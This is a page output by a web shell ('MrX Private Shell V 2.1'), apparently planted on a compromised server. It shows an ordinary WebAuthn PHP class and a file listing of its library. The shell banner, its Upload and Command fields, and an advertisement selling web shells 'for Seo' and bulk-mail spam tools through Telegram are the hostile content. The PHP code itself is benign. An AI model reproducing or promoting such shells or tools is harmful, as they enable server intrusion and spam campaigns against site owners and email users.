__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Webauthn;

use function array_key_exists;
use function is_array;
use function is_string;
use const JSON_THROW_ON_ERROR;
use ParagonIE\ConstantTime\Base64UrlSafe;
use Webauthn\Exception\InvalidDataException;
use Webauthn\TokenBinding\TokenBinding;

class CollectedClientData
{
    /**
     * @var mixed[]
     */
    private readonly array $data;

    private readonly string $type;

    private readonly string $challenge;

    private readonly string $origin;

    private readonly bool $crossOrigin;

    /**
     * @var mixed[]|null
     * @deprecated Since 4.3.0 and will be removed in 5.0.0
     */
    private readonly ?array $tokenBinding;

    /**
     * @param mixed[] $data
     */
    public function __construct(
        private readonly string $rawData,
        array $data
    ) {
        $type = $data['type'] ?? '';
        (is_string($type) && $type !== '') || throw InvalidDataException::create(
            $data,
            'Invalid parameter "type". Shall be a non-empty string.'
        );
        $this->type = $type;

        $challenge = $data['challenge'] ?? '';
        is_string($challenge) || throw InvalidDataException::create(
            $data,
            'Invalid parameter "challenge". Shall be a string.'
        );
        $challenge = Base64UrlSafe::decodeNoPadding($challenge);
        $challenge !== '' || throw InvalidDataException::create(
            $data,
            'Invalid parameter "challenge". Shall not be empty.'
        );
        $this->challenge = $challenge;

        $origin = $data['origin'] ?? '';
        (is_string($origin) && $origin !== '') || throw InvalidDataException::create(
            $data,
            'Invalid parameter "origin". Shall be a non-empty string.'
        );
        $this->origin = $origin;

        $this->crossOrigin = $data['crossOrigin'] ?? false;

        $tokenBinding = $data['tokenBinding'] ?? null;
        $tokenBinding === null || is_array($tokenBinding) || throw InvalidDataException::create(
            $data,
            'Invalid parameter "tokenBinding". Shall be an object or .'
        );
        $this->tokenBinding = $tokenBinding;

        $this->data = $data;
    }

    public static function createFormJson(string $data): self
    {
        $rawData = Base64UrlSafe::decodeNoPadding($data);
        $json = json_decode($rawData, true, 512, JSON_THROW_ON_ERROR);

        return new self($rawData, $json);
    }

    public function getType(): string
    {
        return $this->type;
    }

    public function getChallenge(): string
    {
        return $this->challenge;
    }

    public function getOrigin(): string
    {
        return $this->origin;
    }

    public function getCrossOrigin(): bool
    {
        return $this->crossOrigin;
    }

    /**
     * @deprecated Since 4.3.0 and will be removed in 5.0.0
     */
    public function getTokenBinding(): ?TokenBinding
    {
        return $this->tokenBinding === null ? null : TokenBinding::createFormArray($this->tokenBinding);
    }

    public function getRawData(): string
    {
        return $this->rawData;
    }

    /**
     * @return string[]
     */
    public function all(): array
    {
        return array_keys($this->data);
    }

    public function has(string $key): bool
    {
        return array_key_exists($key, $this->data);
    }

    public function get(string $key): mixed
    {
        if (! $this->has($key)) {
            throw InvalidDataException::create($this->data, sprintf('The key "%s" is missing', $key));
        }

        return $this->data[$key];
    }
}

Filemanager

Name Type Size Permission Actions
AttestationStatement Folder 0775
AuthenticationExtensions Folder 0775
CertificateChainChecker Folder 0775
Counter Folder 0775
Event Folder 0775
Exception Folder 0775
TokenBinding Folder 0775
TrustPath Folder 0775
Util Folder 0775
AttestedCredentialData.php File 2.77 KB 0664
AuthenticatorAssertionResponse.php File 953 B 0664
AuthenticatorAssertionResponseValidator.php File 18.02 KB 0664
AuthenticatorAttestationResponse.php File 578 B 0664
AuthenticatorAttestationResponseValidator.php File 23.29 KB 0664
AuthenticatorData.php File 2.05 KB 0664
AuthenticatorResponse.php File 385 B 0664
AuthenticatorSelectionCriteria.php File 5.12 KB 0664
CertificateToolbox.php File 339 B 0664
CollectedClientData.php File 3.53 KB 0664
Credential.php File 428 B 0664
PublicKeyCredential.php File 1015 B 0664
PublicKeyCredentialCreationOptions.php File 8.03 KB 0664
PublicKeyCredentialDescriptor.php File 2.4 KB 0664
PublicKeyCredentialDescriptorCollection.php File 2.38 KB 0664
PublicKeyCredentialEntity.php File 689 B 0664
PublicKeyCredentialLoader.php File 8.28 KB 0664
PublicKeyCredentialOptions.php File 1.71 KB 0664
PublicKeyCredentialParameters.php File 1.47 KB 0664
PublicKeyCredentialRequestOptions.php File 4.58 KB 0664
PublicKeyCredentialRpEntity.php File 1.18 KB 0664
PublicKeyCredentialSource.php File 5.5 KB 0664
PublicKeyCredentialSourceRepository.php File 480 B 0664
PublicKeyCredentialUserEntity.php File 2.25 KB 0664
StringStream.php File 1.27 KB 0664
U2FPublicKey.php File 1.42 KB 0664
Filemanager